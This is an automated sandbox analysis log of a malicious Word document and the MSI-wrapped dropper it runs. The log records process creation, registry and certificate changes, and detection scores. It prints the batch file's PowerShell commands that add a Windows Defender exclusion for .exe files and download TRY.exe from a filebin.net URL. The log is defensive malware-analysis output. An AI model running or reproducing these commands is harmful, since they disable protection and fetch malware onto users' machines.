Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	Virustotal: Detection: 37%
Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	ReversingLabs: Detection: 24%

Source: C:\Windows\System32\msiexec.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\SysWOW64\icacls.exe	Console Write: .................................3:.....(.P.....................<...............................................................................	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Console Write: .................................3:.....(.P.....................<.......................................................v.......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................J....................................@c!J..... .......#...............(:w.......J....."..............T.......q(.w............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#.................r...............r.......m.....`Io.......bw.....................Kv.....................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....#...............V.yk......w...............S.............}.dw.... .w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w..../...............6.yk......Z...............S.............}.dw......w.....0.~.............................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w..../...............V.yk......w...............S.............}.dw.... .w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....;...............6.yk......................S.............}.dw......w.....0.~.....................\|.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....;...............V.yk....8.w...............S.............}.dw......w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.S.............}.dw......w.....0.~.............H.Z.....".......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....G...............V.yk......w...............S.............}.dw......w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....S...............6.yk......Z...............S.............}.dw....0.w.....0.~.....................b.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....S...............V.yk......w...............S.............}.dw....h.w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w...._...............6.yk......Z...............S.............}.dw....0.w.....0.~.............................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w...._...............V.yk......w...............S.............}.dw....h.w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....k....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.dw......w.....0.~.............H.Z.....2.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....k...............V.yk....P.w...............S.............}.dw......w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....w...............6.yk......Z...............S.............}.dw......w.....0.~.....................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....w...............V.yk......w...............S.............}.dw....H.w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w............ .......6.yk......Z...............S.............}.dw......w.....0.~.............H.Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....................V.yk......w...............S.............}.dw......w.....0.~...............Z.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#.................j...............j.......e.....`Ig.......bw.....................Kn.....................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....#...............6.ok......t.............................}.dw......t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w..../.................ok......L.............................}.dw....`.t.....0...............................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w..../...............6.ok......t.............................}.dw......t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....;.................ok......L.............................}.dw......t.....0.......................~.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....;...............6.ok......t.............................}.dw....8.t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.8...............}.dw....H.t.....0...............h.L.....".......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....G...............6.ok......t.............................}.dw......t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....S.................ok......L.............................}.dw....H.t.....0...............................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....S...............6.ok......t.............................}.dw......t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w...._.......T.R.Y...e.x.e.....L.............................}.dw....0.t.....0...............h.L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w...._...............6.ok......t.............................}.dw....h.t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....k.................ok......L.............................}.dw....0.t.....0...............................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....k...............6.ok......t.............................}.dw....h.t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....w....... . . .o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.......t.....0...............h.L.....4.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....w...............6.ok....P.t.............................}.dw......t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w......................ok......L.............................}.dw......t.....0.......................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....................6.ok......t.............................}.dw....H.t.....0.................L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w............ .........ok......L.............................}.dw......t.....0...............h.L.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....................6.ok......t.............................}.dw......t.....0.................L.............................	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe"
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Process created: C:\Windows\System32\cmd.exe cmd /c thai.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Set-MpPreference -ExclusionExtension ".exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Process created: C:\Windows\System32\cmd.exe cmd /c thai.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Set-MpPreference -ExclusionExtension ".exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB61B44 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,

9_2_000000013FB61B44

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc

OLE indicator, Word Document stream: true

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$543_0008858249_FWDOUTSTANDING_20200604.doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR582D.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.expl.winDOC@19/23@5/2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB665B0 GetCurrentDirectoryA,SetCurrentDirectoryA,GetLastError,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,GetLastError,FormatMessageA,SetCurrentDirectoryA,

9_2_000000013FB665B0

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB64478 CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,GetLastError,FormatMessageA,

9_2_000000013FB64478

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB65940 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,#20,#22,#23,FreeResource,SendMessageA,

9_2_000000013FB65940

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Process created: C:\Windows\System32\cmd.exe cmd /c thai.bat

Source: C:\Windows\SysWOW64\msiexec.exe

File written: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\msiwrapper.ini

Jump to behavior

Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	OLE document summary: title field not present or empty
Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	OLE document summary: author field not present or empty
Source: 12543_0008858249_FWDOUTSTANDING_20200604.doc	OLE document summary: edited time not present or 0
Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr	OLE document summary: edited time not present or 0
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DFC2FF7A9553E7F48E.TMP.0.dr	OLE document summary: edited time not present or 0
Source: MSI5B5A.tmp.2.dr	OLE document summary: edited time not present or 0
Source: 535fae.ipi.2.dr	OLE document summary: title field not present or empty
Source: 535fae.ipi.2.dr	OLE document summary: author field not present or empty
Source: 535fae.ipi.2.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Source: MSI5B5A.tmp.2.dr

Initial sample: OLE summary template = Intel;1033

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: wextract.pdb source: TRY.exe, 00000009.00000000.925012433.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr
Source:	Binary string: wextract.pdbGCTL source: TRY.exe, 00000009.00000000.925012433.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr
Source:	Binary string: C:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb source: MSI5B5A.tmp.2.dr, MSI9F1.tmp.2.dr

Source: MSI5B5A.tmp.2.dr

Initial sample: OLE summary keywords = Installer

Source: MSI5B5A.tmp.2.dr

Initial sample: OLE summary subject = Internet Explorer - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com

Source: ~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB61C38 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

9_2_000000013FB61C38

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F1.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\$dpx$.tmp\79bd875a22ddb24abfa2594fbd40eccf.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI9F1.tmp

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

Code function: 9_2_000000013FB615F8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

9_2_000000013FB615F8

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setupact.log			Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setuperr.log			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH

Source: C:\Windows\System32\msiexec.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
